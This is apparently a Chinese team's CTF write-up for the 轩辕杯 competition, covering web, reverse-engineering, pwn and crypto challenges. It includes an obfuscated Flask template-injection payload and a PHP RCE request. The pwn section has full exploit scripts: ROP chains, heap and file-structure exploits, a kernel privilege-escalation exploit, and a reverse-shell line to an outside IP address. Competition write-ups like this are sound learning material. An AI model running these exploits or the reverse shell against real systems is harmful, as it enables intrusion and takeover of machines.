轩辕杯
排名:4
Web
签到
第一关:
POST /?a=welcome HTTP/1.1
Host: 27.25.151.26:16239
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cookie: star=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
b=new
第二关:password=2025a
第三关:
POST /levelThree.php HTTP/1.1
Host: 27.25.151.26:16239
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Referer: secretcode
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
key=ctfpass
第四关:
HEAD /level444Four.php?identity=n1c3 HTTP/1.1
Host: 27.25.151.26:59114
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: identity=n1c3
Cookie: identity=n1c3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 13
identity=n1c3
第五关:
第六关:nl /*
ez_flask
{{g['pop']['__globals__']['__builti'+'ns__']['__im'+'port__']('so'[::-1])['pop'+'en']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['rea'+'d']()}}
ez_js
POST:
ez_RCE
POST /?num=1e1000 HTTP/1.1
Host: 27.25.151.26:14664
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
new=readgzfile&star=/flag
ezssrf1.0
Dirsearch 扫到 flag 文件
访问即可。
Reverse
Matlab_SMC?
输入样本数据,拿到加密后数据。
发现是 y = 5x² + 2x + 1 的对应关系
解密得到数据:
计算出平均值得到 flag
flag{md5(9.493,8.346)}
ezBase
010 将 upx 都改成 UPX,将 6.66 改成 3.91,然后直接 upx -d 就可以脱掉了
逻辑很简单,就是 base64 变表 + xor 4
hookme
查看代码逻辑,大概就是一个 native 层的 rc4,然后进行比较
简单 hook 一波
function main(){
Java.perform(function(){
var MainActivity = Java.use("com.example.hookme.MainActivity")
var Array_ = Java.use("java.util.Arrays")
console.log("hello")
var equals_ = Array_.equals.overload('[B', '[B')
equals_ = function(s0, s1){
console.log("equals => ", s0, s1)
let res = this.equals(s0, s1)
return res
}
var rc4Encrypt = MainActivity.rc4Encrypt
rc4Encrypt.implementation = function(s0) {
console.log("rc4Encrypt => ", s0)
let res = this.rc4Encrypt(s0)
console.log("rc4Encrypt res => ", res)
return res
}
var getString = MainActivity.getString.overload('int')
getString.implementation = function(s0) {
let res = this.getString(s0)
console.log("getString res => ", res)
return res
}
})
}
setImmediate(main)
得到 xor 的结果,反推一波 xor key 然后将密文扔到 cyberchef 梭哈
你知道 Base 么
先 tea 解出 key => y0uokTea
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; //v0,v1分别为字符串的低字节高字节
uint32_t delta=2654435769;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i < 32; i++) {
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], i;
uint32_t delta=2654435769;
uint32_t sum = (32)*delta;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) { //解密时将加密算法的顺序倒过来,还有+=变为-=
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0; v[1]=v1;
}
//密文
unsigned char cipher[]= {
0x65, 0x38, 0x2F, 0xA9, 0x53, 0xE9, 0x60, 0x9E
};
int main()
{
unsigned char a;
uint32_t *v = (uint32_t*)cipher;
unsigned char *p = (unsigned char*)v;
uint32_t k[4]={0x12345678,0x3456789A,0x89ABCDEF,0x12345678};
for(int i=0;i<2;i+=2) {
decrypt(v+i, k);
}
for(int i=0;i<8;i++)
{
printf("%c", cipher[i]);
}
return 0;
}
然后 rc4 解出 table => gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7
#include<iostream>
#include<string>
#include<stdlib.h>
using namespace std;
const int N = 1e6+10;
// 在C++中,char类型通常被视为有符号类型,其取值范围为-128到127
//无符号整数的取值范围为0到255
unsigned char s[256]; // S盒子
unsigned char text[]={ 0xD4, 0x59, 0x23, 0x76, 0xB4, 0xBF, 0xE3, 0x2C, 0x58, 0x8F,
0x56, 0x19, 0xDA, 0xF0, 0xC0, 0xBD, 0x36, 0x3D, 0x7B, 0x46,
0x1B, 0xB8, 0x17, 0x1F, 0xE3, 0xD0, 0x03, 0x45, 0xCD, 0x04,
0xED, 0xC9, 0x67, 0xE6, 0xAB, 0x29, 0xA7, 0xBC, 0x0B, 0xDE,
0x5C, 0x30, 0x71, 0xD7, 0xD5, 0x5A, 0xC6, 0x9F, 0x40, 0x65,
0xC4, 0x71, 0xA9, 0xC3, 0xAE, 0xD9, 0xB5, 0xE5, 0x12, 0x8C,
0x80, 0x52, 0x34, 0x36}; // 明文密文统一用text
unsigned char secret_key[]="y0uokTea";// 密钥
void init() // KSA初始化S盒
{
unsigned key_len = sizeof(secret_key)-1;
//cout<<key_len<<endl;
unsigned char T[256] = {0}; // 临时数组向量
for(unsigned int i = 0; i < 256; i ++ )
{
s[i] = i;
}
for(int i = 0, j = 0; i < 256; i ++ )
{
j = (j + s[i] + secret_key[i % key_len]) % 256;
swap(s[i], s[j]);
}
}
void encrypt_encode() // 加密或者解密都是再次经过这个函数
{
init();
unsigned int len = sizeof(text);
unsigned char k, i = 0, j = 0, t;
for(unsigned int h = 0; h < len; h ++ )
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(s[i], s[j]);
t = (s[i] + s[j]) % 256;
k = s[t];
text[h] -= k;
//printf("%x ", k);
}
}
int main()
{
//freopen("1.txt","w",stdout);
// cout << "请输入明文" << endl;
// cin >> text;
// cout << "请输入密钥" << endl;
// cin >> secret_key;
// encrypt_encode();
// cout << "加密后的密文:" << text << endl;
encrypt_encode();
for(int i=0;i<sizeof(text);i++)
{
printf("%c",text[i]);
}
return 0;
}
最后 base 魔改梭哈
#include<iostream>
#include<stdint.h>
using namespace std;
unsigned char table[] = "gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7";
unsigned char cipher[] = "0tCPwtnncFZyYUlSK/4Cw0/echcG2lteBWnG2Ulw0htCYTMW";
unsigned char find_table(unsigned char a)
{
for(int i = 0; i < 64; i++) {
if(table[i + 1] == a){
return i;
}
}
}
int main()
{
for(int i = 0; i < 48; i+=8) {
uint64_t a;
uint64_t tmp = 0;
for(int k = 0; k < 8; k++) {
a = find_table(cipher[i + k]);
a <<= (35 - k * 5);
tmp |= a;
}
printf("%llx", tmp);
}
}
输出一下
Pwn
babyshellcode
测信道爆破
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
io=0
def find(i, c):
global io
io=remote("27.25.151.26", 32437)
sc=asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall #open("flag.txt", 0, 0);
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall #read(0, rsp, 0x100);
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.send(sc)
try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False
flag = ''
i=len(flag)
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1
if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1
info("flag: "+flag)
ez_tank
让 msg=/bin/bash 就能直接执行 reverse shell
from pwn import *
from base64 import b64encode
context(arch='amd64',os='linux')
context.log_level="info"
context.terminal = ["tmux", "splitw", "-h"]
#server=process("./httpd")
#io=remote("localhost", 9999)
io=remote("27.25.151.26", 40864)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(server, gdbscript=script)
#body='{"username":"test","password":"666","msg":' '"' + b64encode("/bin/bash\0"+"\0"*0x106).strip("=") + "=" + '"}'
body='{"username":"test","password":"666","msg":' '"' + "/bin/bash" + '"}'
req="POST / HTTP/1.1\r\n"+"Content-Length: "+str(len(body))+"\r\n"+"Content-Type: application/x-www-form-urlencoded\r\n\r\n"+body
print req
#debug("break *execl\nc")
#debug("break *execl\nbreak *0x555555557d1a\nc")
#debug()
s(req)
sl("sh -i >& /dev/tcp/47.121.187.105/1145 0>&1")
shell()
ez_kk
条件竞争,用 userfaultd 来写 seq_operations 再用 pt_regs 打 rop
//musl-gcc -static -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp exp.c
#define _GNU_SOURCE
#include <sys/socket.h>
#include <assert.h>
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <stdint.h>
#include <stdbool.h>
#include <linux/keyctl.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/user.h>
int fd, seq_fd;
unsigned long buf[256];
unsigned long init_cred = 0xffffffff82c9be80;
unsigned long commit_cred = 0xffffffff810f4400;
unsigned long pop_rdi = 0xffffffff81095776;
unsigned long kpti = 0xffffffff81e00f86;
unsigned long do_fork = 0xffffffff810c0c70;
struct msg{
void *p;
size_t size;
};
void del(){
struct msg tmp;
ioctl(fd, 0x3333, &tmp);
}
void edit(void *p, size_t size){
struct msg tmp = {
.p = p,
.size = size
};
ioctl(fd, 0x2222, &tmp);
}
void show(void *p, size_t size){
struct msg tmp = {
.p = p,
.size = size
};
ioctl(fd, 0x1111, &tmp);
}
void *fault_handler_thread(void *arg){
char *dummy_page;
struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
uffd = (long)arg;
puts("[+] fault_handler_thread: waiting for page fault...");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0){
read(uffd, &msg, sizeof(msg));
printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags);
printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address);
del();
seq_fd = open("/proc/self/stat", O_RDONLY);
copy.src = (unsigned long)buf;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return 0;
}
int register_uffd(void *addr, size_t len){
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
ioctl(uffd, UFFDIO_API, &uffdio_api);
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
return 0;
}
void pin_cpu(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
int main(){
pin_cpu(0);
if (!fork()) {
if (!fork()){
exit(0);
}
exit(0);
}
fd = open("/dev/x1device", O_RDWR);
void *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
for(int i=0;i<4;i++){ buf[i] = 0xffffffff815a474e; }
edit(page, 32);
__asm__(
".intel_syntax noprefix;"
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, do_fork;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall;"
".att_syntax;"
);
if (!getuid()) {
system("cat /flag ; sh");
}else {
puts("Oops...");
}
while(1) {}
return 0;
}
it_is_a_canary
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './it_is_a_canary')
if local_flag == "remote":
addr = '27.25.151.26:33414'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
brva 0x12CD
c
'''
launch_gdb(cmd)
sa(b'canary', b'a' * 0x19)
ru(b'a' * 0x18)
canary = u64_ex(r(8)) - 0x61
leak_ex2(canary)
s(b'a' * 0x18 + p64(canary) + b'a' * 0x8 + b'\x53\xa2')
ia()
lllibc
from pwn import *
context(arch='amd64',os='linux')
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("27.25.151.26", 31584)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
rdi=0x000000000040117e
rdx=0x0000000000401182
rsi=0x0000000000401180
ret=0x000000000040101a
plt=0x0000000000401060
got=0x0000000000404018
main=0x000000000040122A
p="A"*24+p64(rdi)+p64(1)+p64(rsi)+p64(got)+p64(rdx)+p64(16)+p64(plt)+p64(main)
sa("?", p)
rl()
libc=u64(r(8))-0x114870
print hex(libc)
#debug()
system=libc+0x50d70
binsh=libc+0x1d8678
p="A"*24+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
sa("?", p)
shell()
ez_ptm
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '27.25.151.26:27191'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./pwn')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
IAT = b'>> '
def add(idx, size):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'Size', str(size))
def dele(idx):
sla(IAT, b'2')
sla(b'Index', str(idx))
def edit(idx, size, data):
sla(IAT, b'3')
sla(b'Index', str(idx))
sla(b'Size', str(size))
s(data)
def show(idx):
sla(IAT, b'4')
sla(b'Index:\n', str(idx))
cmd = '''
brva 0x1621
brva 0x1737
brva 0x18BB
brva 0x1996
brva 0x1A2F
b setcontext
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
add(0, 0x428)
add(1, 0x400)
add(2, 0x418)
add(3, 0x400)
sla(IAT, str(0x1314520))
sla(b'Index', str(0))
add(4, 0x438)
dele(2)
show(0)
libc_base = u64_ex(ru('\x7f')[-6:]) - 0x21B0D0
set_current_libc_base_and_log(libc_base)
edit(0, 0x10, b'a' * 0x10)
edit(0, 1, b'a')
show(0)
ru(b'a' * 0x10)
heap_base = u64_ex(ru('\x0a', drop=True)[-6:]) - 0x1950
leak_ex2(heap_base)
edit(0, 0x20, flat([libc_base + 0x21B100, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20]))
add(5, 0x438)
add(2, 0x418)
fake_IO_FILE = heap_base + 0x1950
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := 0x114514000),
0x70: (_rsi := 0x2000),
0x88: (_rdx := fake_IO_FILE + 0x300),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc_base + 0x5A120),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: ShellcodeMall.amd64.cat_flag,
},
filler=b'\x00',
)
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rax = CG.pop_rax_ret()
rcx = CG.pop_rcx_ret()
r8 = libc_base + 0x1659E6
syscall_ret = CG.syscall_ret()
mov_r10_rcx = libc_base + 0x115AF4
payload = flat([r8, 0, rcx, 34, mov_r10_rcx, rax, 9, rdx_rbx, 7, 7, syscall_ret, rdi, 0, rsi, 0x114514000, rdx_rbx, 0x1000, 0x1000, rax, 0, syscall_ret, 0x114514000])
IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
0x2E0: b'/flag\x00',
0x300: payload,
},
filler=b'\x00',
)
edit(0, 0x400, IO_payload[0x10:])
launch_gdb(cmd)
sla(IAT, b'5')
s(asm(shellcraft.openat(-100, '/flag') + shellcraft.sendfile(1, 3, 0, 0x100)))
ia()
baby_heap
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '27.25.151.26:26023'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
IAT = b'choice:\n'
def add(idx, size):
sla(IAT, b'1')
sla(b'index', str(idx))
sla(b'size', str(size))
def dele(idx):
sla(IAT, b'2')
sla(b'index', str(idx))
def edit(idx, data):
sla(IAT, b'3')
sla(b'index', str(idx))
sa(b'content', data)
def show(idx):
sla(IAT, b'4')
sla(b'index', str(idx))
cmd = '''
brva 0x1370
brva 0x13FD
brva 0x149B
brva 0x14FC
b setcontext
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
add(0, 0x428)
add(1, 0x418)
add(2, 0x418)
add(3, 0x418)
dele(0)
add(4, 0x438)
dele(2)
show(0)
libc_base = u64_ex(ru('\x7f')[-6:]) - 0x21B0D0
set_current_libc_base_and_log(libc_base)
edit(0, b'a' * 0x10)
show(0)
ru(b'a' * 0x10)
heap_base = u64_ex(ru('\x0a', drop=True)[-6:]) - 0x290
leak_ex2(heap_base)
edit(0, flat([libc_base + 0x21B100, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20, libc.sym._IO_list_all - 0x20]))
add(5, 0x438)
add(2, 0x418)
fake_IO_FILE = heap_base + 0x290
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := 0x114514000),
0x70: (_rsi := 0x2000),
0x88: (_rdx := fake_IO_FILE + 0x300),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc_base + 0x5A120),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: ShellcodeMall.amd64.cat_flag,
},
filler=b'\x00',
)
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rax = CG.pop_rax_ret()
rcx = CG.pop_rcx_ret()
r8 = libc_base + 0x1659E6
syscall_ret = CG.syscall_ret()
mov_r10_rcx = libc_base + 0x115AF4
payload = flat([r8, 0, rcx, 34, mov_r10_rcx, rax, 9, rdx_rbx, 7, 7, syscall_ret, rdi, 0, rsi, 0x114514000, rdx_rbx, 0x1000, 0x1000, rax, 0, syscall_ret, 0x114514000])
IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
0x2E0: b'/flag\x00',
0x300: payload,
},
filler=b'\x00',
)
launch_gdb(cmd)
edit(0, IO_payload[0x10:])
sla(IAT, b'5')
s(asm(shellcraft.openat(-100, '/flag') + shellcraft.sendfile(1, 3, 0, 0x100)))
ia()
Crypto
简单编码
[!TIP]
ABBAABB ABBABAB ABABAAA ABABAAB ABBBBAA ABBAABA ABABBAA ABBAAAA ABBAAAB ABBABAB ABBBAAA ABAABBB ABABBAA ABABABB ABABBAA ABBABBB ABBABAA ABABABA ABAABAB ABBBAAA ABBBABA ABABBAB ABBBBAA ABABBAB ABBBAAA ABBABAB ABBAABA ABABAAA ABABABA AABBAB ABBBABB ABBAABA ABBABAB AABABA ABBBBAA ABBBAAB ABBAABA AABBAB ABABBAA ABBAAAB ABBBAAA ABBABAB ABBABAA ABABABB ABBBABA ABABABB ABBAABB ABBABAA ABBABAB ABBABAB ABABAAA ABBBABA AABABB ABABBAB AABBAB ABABAAA ABBAAAB ABBBBAB ABBBAAA ABABABA ABBAAAA ABABAAB ABABABB ABBABBA ABBABAB AABABA ABBABAA ABBBABA ABBBABA AABBAA ABBBBAA ABBAAAA ABABBBB ABBABAB ABABABB ABAABBB ABBAAAA ABABAAA ABABABB ABBABAA ABBABBA ABABABA ABAABAB ABABABA AABABB ABABBAB ABBBBAA ABBBBAB ABBBAAA ABABAAB ABBABBB ABABAAB ABBAAAA ABAABAB ABBBABB ABBABAA ABBABAB ABABABA ABAABAB ABBBABA ABBAABA AABBAB ABABBAA ABAABAB ABBBAAA ABBABAB ABBBABA ABAABBB ABABBBA ABABABB ABABBAA ABBABBB ABBABAA ABAABAB ABABABA ABBBAAB ABABBAA ABBAABA ABABBAA ABAABAB ABBBAAA ABBABAB ABBABBB ABBBABB ABBBABA ABABBAA ABBABAB ABABABA ABBAABA ABAABAB ABBAABA ABBABBB ABBBAAA ABBAABA ABBBBAA ABBAAAA ABBABAA ABABBAB ABBABAA ABAABBB ABABABA ABABABB ABABABB AABBAB ABBAAAB ABBBBAB ABABABA ABBBABA AABBAB ABABABA ABBABAB ABBBAAB ABBBAAA ABBAAAB ABBBBAA ABBBBAA ABBABAA ABBAABA AABBAB ABBBABA
将 a 替换为 1,将 b 替换为 0
最后的 %3d 改成==解 base64
fd66324e6l46b8e85c3e622e4ea0ea90e780f174099gc3accb14eacf67b8}{455378a1
栅栏爆破一下
flag{c04d6e34aab689c5c0e68eb51753c843e032efa7c16427f8642ee07ab946e981}
DIladila
Speck 加密,round 和 key 都用逆的即可解密。
def rol(_val_, _r_bits_, _max_bits_=16):
return ((val << r_bits) & (2**max_bits - 1)) | (val >> (max_bits - r_bits))
def ror(_val_, _r_bits_, _max_bits_=16):
return (val >> r_bits) | ((val << (max_bits - r_bits)) & (2**max_bits - 1))
def speck_round_inverse(_x_, _y_, _k_):
y ^= x
y = ror(y, 2)
x ^= k
x = (x - y) & 0xFFFF
x = rol(x, 7)
return x, y
def decrypt_block(_x_, _y_, _keys_):
for k in reversed(keys):
x, y = speck_round_inverse(x, y, k)
return x, y
def blocks_to_str(_blocks_):
result = bytearray()
for x, y in blocks:
result.extend(x.to_bytes(2, 'little'))
result.extend(y.to_bytes(2, 'little'))
while result and result[-1] == 0:
result.pop()
return result.decode('utf-8')
keys = [0x1234, 0x5678, 0x9abc, 0xdef0]
ciphertext = [
(57912, 19067),
(38342, 34089),
(16842, 41652),
(30292, 50979),
(9137, 57458),
(29822, 64285),
(33379, 14140),
(16514, 4653)
]
plaintext_blocks = []
for cx, cy in ciphertext:
px, py = decrypt_block(cx, cy, keys)
plaintext_blocks.append((px, py))
decrypted_text = blocks_to_str(plaintext_blocks)
print(decrypted_text)
flag{You_DIladila_Crypto_Matser}
babyrsa
flag = b"flag{****************************}"
m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p*q
d = getPrime(130)
phi = (p-1)*(q-1)
e = inverse(d, phi)
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
# print(f'e = {e}')
def gen(bits):
while True:
p = 2
while p.bit_length() < bits:
p *= choice(sieve_base)
if isPrime(p - 1):
return p - 1
p1 = gen(256)
q1 = gen(256)
n1 = p1 * q1
c1 = p1 + e
print(f'n1 = {n1}')
print(f'c1 = {c1}')
根据 gen 看出 p+1 光滑,Williams’s p+1 分解,得到 e,d 的数量级可以使用 boneh 攻击得到 flag
from Crypto.Util.number import *
from random import choice
import math
from itertools import *
'''
flag = b"flag{****************************}"
m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p*q
d = getPrime(130)
phi = (p-1)*(q-1)
e = inverse(d, phi)
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
# print(f'e = {e}')
def gen(bits):
while True:
p = 2
while p.bit_length() < bits:
p *= choice(sieve_base)
if isPrime(p - 1):
return p - 1
p1 = gen(256)
q1 = gen(256)
n1 = p1 * q1
c1 = p1 + e
print(f'n1 = {n1}')
print(f'c1 = {c1}')
'''
n = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
n1 = 151767047787614712083974720416865469041528766980347881592164779139223941980832935534609228636599644744364450753148219193621511377088383418096756216139022880709
c1 = 6701513605196718137208327145211106525052740242222174201768345944717813148931922063338128366155730924516887607710111701686062781667128443135522927486682574
def mlucas(v, a, n):
v1, v2 = v, (v ** 2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == "0" else (
(v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
return v1
def primegen():
yield 2
yield 3
yield 5
yield 7
yield 11
